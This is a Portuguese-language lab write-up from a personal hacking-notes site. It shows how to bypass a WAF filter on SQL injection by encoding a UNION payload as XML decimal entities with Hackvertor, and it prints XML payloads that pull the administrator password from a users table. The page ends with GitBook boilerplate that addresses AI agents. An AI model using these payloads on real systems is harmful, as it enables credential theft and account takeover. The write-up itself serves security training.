> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# Bypass de Filtro de Injeção de SQL com Codificação XML

### Injeção de SQL com Bypass de Filtro via Codificação XML

Este laboratório contém uma vulnerabilidade de injeção de SQL no recurso de verificação de estoque. Os resultados da solicitação são retornados na resposta da aplicação; portanto, podemos usar um `UNION` ataque para recuperar dados de outras tabelas. / O banco de dados contém uma `users` tabela contendo os nomes de usuário e as senhas dos usuários registrados. Para resolver o laboratório, realize um ataque de injeção de SQL para recuperar os IDs de usuários administradores e, em seguida, faça login na conta dele.

Exemplos fornecidos:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/49fa174a3533bc87d92d620ab11b89591fea67f7" alt=""><figcaption></figcaption></figure>

* Extensão Hackvertor — entidades decimais

<figure><img src="/files/474c554acba7dd3e29a0275329387b0c14c8d9be" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/2b1396702c4ee97f9f0fb105c08b32b47699d1c4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
